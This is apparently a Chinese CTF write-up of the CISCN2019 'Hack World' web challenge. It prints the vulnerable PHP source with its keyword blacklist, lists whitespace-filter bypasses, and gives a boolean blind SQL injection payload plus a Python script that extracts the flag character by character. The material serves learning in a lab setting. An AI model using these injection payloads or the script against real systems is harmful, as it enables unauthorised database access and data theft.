刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

一、前言

离国赛已经过去好久了,到现在才看复现,这道题当时做的时候没有什么头绪,现在来看答案发现其实没有很难,就是经验还不足

二、正文

题目复现链接:https://buuoj.cn/challenges

参考链接:ciscn2019华北赛区半决赛day2_web1题解

1、解题过程

搜索框输入1或2会返回结果,其他都返回bool(false)。过滤了union、and、or、空格等,包括/**/,后来看源码知道是过滤了*

有意思的是输入1/1时会正常返回结果,可以判断这是数字型的sql注入。

源码如下:

<?php
$dbuser='root';
$dbpass='root'; function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db); if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){
$result = mysql_fetch_array($query); if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}

2、解题方法

根据1和2返回结果的不同,可能是bool盲注,()没有过滤,可以使用大部分函数,当时是卡在了空格的绕过

空格的绕过有这些方法我测试是可以的

%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab

%20 好像没法绕,%00截断好像也影响sql语句的执行

或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

本题中可以if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

贴上我写的bool盲注脚本

import requests

url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
result = '' for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2 result += chr(int(mid))
print(result)

刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World的更多相关文章

  1. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

  2. 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World

    解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...

  3. [CISCN2019 华北赛区 Day2 Web1]Hack World

    知识点:题目已经告知列名和表明为flag,接下来利用ascii和substr函数即可进行bool盲注 eg: id=(ascii(substr((select(flag)from(flag)),1,1 ...

  4. BUUOJ [CISCN2019 华北赛区 Day2 Web1]Hack World

    补一下这道题,顺便发篇博客 不知道今年国赛是什么时候,菜鸡还是来刷刷题好了 0X01 考点 SQL注入.盲注.数字型 0X02自己尝试 尝试输入1 赵师傅需要女朋友吗???随便都能有好吧 输入2 ?? ...

  5. [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)

    记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...

  6. [CISCN2019 华北赛区 Day2 Web1]Hack World 1详解

    打开题目, 我们开始尝试注入, 输入0回显Error Occured When Fetch Result. 输入1回显Hello, glzjin wants a girlfriend. 输入2回显Do ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  8. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  9. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...

随机推荐

  1. MySQL优化——MySQL 生产环境下 my.cnf 优化配置

    MySQL 5.6/5.7 参数文件优化配置[client]port = 3306socket = /data/mysql/tmp/mysql.sockdefault-character-set = ...

  2. 在DoNetCore MVC 中如何使用AutoMapper

    刚开始,按照在donet mvc 的方法写了一遍,发现行不通啊,于是百度了一下,找到这么一篇 https://stackoverflow.com/questions/41284349/automapp ...

  3. 一行Python代码画心型

    版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/yanlaifan/article/deta ...

  4. Arm Qt编译Qt例程出错 GLES3/gl3.h: No such file or directory 解决方法

    工作环境 PC:Ubuntu18.04QtCreator: 4.8.2交叉编译环境:野火imxull6开发板提供的 5-编译工具链->qt交叉编译工具 在之前博客配置成功的交叉编译环境,编译Qt ...

  5. cnetos7安装mysql并开启慢日志查询

    参考博客地址https://www.cnblogs.com/luyucheng/p/6265594.html 安装部署(5.7) #下载Yum Repository curl -O https://r ...

  6. mysql数据库查询缓存总结

    概述 查询缓存(Query Cache,简称QC),存储SELECT语句及其产生的数据结果.闲来无事,做一下这块的总结,也做个备忘! 工作原理 查询缓存工作原理如下: 缓存SELECT操作的结果集和S ...

  7. 在vps中搭建ftp服务器

    1. 服务器配置 首先当然是更新源列表并安装 vsftpd. sudo apt-get update sudo apt-get install vsftpd 安装完成后我们需要对服务器进行进一步的配置 ...

  8. 洛谷 P2384 最短路题解

    题目背景 狗哥做烂了最短路,突然机智的考了Bosh一道,没想到把Bosh考住了...你能帮Bosh解决吗? 他会给你100000000000000000000000000000000000%10金币w ...

  9. xpath+多进程爬取全书网纯爱耽美类别的所有小说。

    # 需要的库 import requests from lxml import etree from multiprocessing import Pool import os # 请求头 heade ...

  10. django migrate报错:1005 - Can't create table xxx (errno: 150 "Foreign key constraint is incorrectly formed")

    自从mysql升级,以及使用mariaDB以来,很多不曾更新django中model的外键, 今天,按以前的思路写完外键之后, migrate命令报错: 1005 - Can't create tab ...